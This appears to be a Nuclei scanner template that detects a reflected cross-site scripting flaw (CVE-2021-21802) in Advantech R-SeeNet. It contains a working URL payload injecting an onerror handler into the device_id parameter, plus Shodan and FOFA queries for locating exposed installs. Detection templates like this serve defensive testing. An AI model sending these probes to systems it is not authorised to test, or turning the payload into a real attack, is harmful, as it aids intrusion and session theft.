55 lines
2.0 KiB
YAML
55 lines
2.0 KiB
YAML
id: CVE-2021-21802
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info:
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name: Advantech R-SeeNet - Cross-Site Scripting
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author: gy741
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severity: medium
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description: Advantech R-SeeNet contains a cross-site scripting vulnerability in the device_graph_page.php script via the device_id parameter. A specially crafted URL by an attacker can lead to arbitrary JavaScript code execution.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
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remediation: |
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Apply the latest security patches or updates provided by Advantech to fix the XSS vulnerability in the R-SeeNet application.
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reference:
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- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272
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- https://nvd.nist.gov/vuln/detail/CVE-2021-21801
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- https://github.com/ARPSyndicate/cvemon
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- https://github.com/ARPSyndicate/kenzer-templates
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-21802
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cwe-id: CWE-79
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epss-score: 0.80194
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epss-percentile: 0.98308
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cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: advantech
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product: r-seenet
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shodan-query: http.html:"r-seenet"
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fofa-query: body="r-seenet"
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tags: cve2021,cve,rseenet,xss,advantech
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http:
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- method: GET
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path:
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- '{{BaseURL}}/php/device_graph_page.php?device_id=%22zlo%20onerror=alert(1)%20%22'
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '"zlo onerror=alert(1) "'
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- 'Device Status Graph'
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condition: and
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100b65c1a7c0caee4cc49ce03a121778de8d65d17b11bb2394279d0fca029d611eb022100f2ce7dd5d0ac03d233b2fbb513a64ce3e55f76c813b11c6c83f7db84c7397774:922c64590222798bb761d5b6d8e72950 |